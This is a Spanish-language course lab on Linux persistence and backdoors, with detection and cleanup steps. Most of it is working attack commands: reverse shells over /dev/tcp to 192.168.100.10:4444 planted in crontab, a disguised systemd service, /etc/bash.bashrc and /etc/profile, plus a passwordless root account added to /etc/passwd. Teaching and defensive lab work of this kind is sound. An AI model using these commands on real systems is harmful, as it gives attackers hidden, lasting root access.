Lab 9.3: Persistencia y Backdoors en Linux
Objetivos de Aprendizaje
Al finalizar este laboratorio, usted será capaz de:
- Implementar múltiples técnicas de persistencia en Linux
- Crear backdoors que sobreviven al reinicio
- Modificar archivos del sistema para mantener el acceso
- Utilizar systemd para persistencia
- Ocultar procesos y archivos
- Detectar la persistencia en un sistema Linux
- Limpiar un sistema comprometido
Duración Estimada
35 minutos
Prerrequisitos
- VM Linux (Ubuntu/Debian)
- Acceso root (obtenido vía Lab 9.1)
- Labs 9.1 y 9.2 completados
- Comprensión de cron, systemd, bash
Contexto Profesional
Después de obtener acceso root, el atacante quiere:
- Mantener el acceso incluso después de reiniciar
- Sobrevivir a las actualizaciones del sistema
- Permanecer indetectable el mayor tiempo posible
Técnicas de persistencia utilizadas por:
- Grupos APT para acceso a largo plazo
- Ransomware para reinfección
- Botnets para control permanente
ADVERTENCIA ÉTICA Y LEGAL
Instalar backdoors en sistemas sin autorización = Delito grave.
AUTORIZADO: Solo VMs de prueba
PROHIBIDO: Sistemas reales sin permiso
Parte 1: Cron Jobs Maliciosos
Crontab de Usuario
Agregar tarea oculta:
(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -
Ejecución: ¡En cada arranque!
Cron del Sistema (Root)
Archivo /etc/crontab:
echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab
Ejecución: ¡Cada 10 minutos como root!
Preguntas:
- ¿El cron job sobrevivió al reinicio?
- ¿Es visible para un usuario normal?
Parte 2: Servicios systemd
Crear Servicio Malicioso
Archivo /etc/systemd/system/system-update.service:
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
Activar:
systemctl enable system-update.service
systemctl start system-update.service
¡Reverse shell se ejecuta como servicio del sistema!
Verificar:
systemctl status system-update
¡Aparece como un servicio legítimo!
Parte 3: Modificación de Archivos del Sistema
Bashrc Global
Archivo /etc/bash.bashrc:
echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc
Cada terminal abierta: ¡Reverse shell!
Perfil SSH
Archivo /etc/profile:
echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile
Modificación de /etc/passwd
Crear cuenta root sin contraseña:
echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd
Login:
su backdoor
No se solicita contraseña, ¡usted es root!
Preguntas: 3. ¿Funcionó el backdoor en bashrc? 4. ¿Funciona la cuenta backdoor sin contraseña?
Parte 4: Detección
Buscar Cron Jobs Sospechosos
# Crontabs de usuarios
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done
# Cron del sistema
cat /etc/crontab
ls -la /etc/cron.*
Buscar Servicios Sospechosos
systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled
Verificar Archivos Modificados
# Bashrc modificado recientemente
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc
# Comparar con baseline
dpkg -V bash
Buscar Cuentas Sospechosas
cat /etc/passwd | grep :0:
Si alguien distinto a root tiene UID 0: ¡Backdoor!
Preguntas: 5. ¿Cuántos backdoors ha detectado? 6. ¿Cómo automatizar la detección?
Parte 5: Limpieza
Eliminar Persistencia
# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab
# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service
# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc
# Cuenta
sed -i '/backdoor/d' /etc/passwd
Entregables
- Informe con 3 métodos de persistencia probados
- Prueba de supervivencia al reinicio
- Script de detección automatizada
- Procedimiento de limpieza
Conclusión
Técnicas dominadas:
- Cron jobs maliciosos
- Backdoors en servicios systemd
- Modificación de archivos del sistema
- Persistencia por clave SSH
- Detección y limpieza
Combinado con Labs 9.1 y 9.2:
- Escalada de usuario → root
- Reverse shell
- Persistencia permanente
¡Cadena de ataque Linux completa!
Lab desarrollado en el marco del curso Sistemas Operativos - MÓDULO 9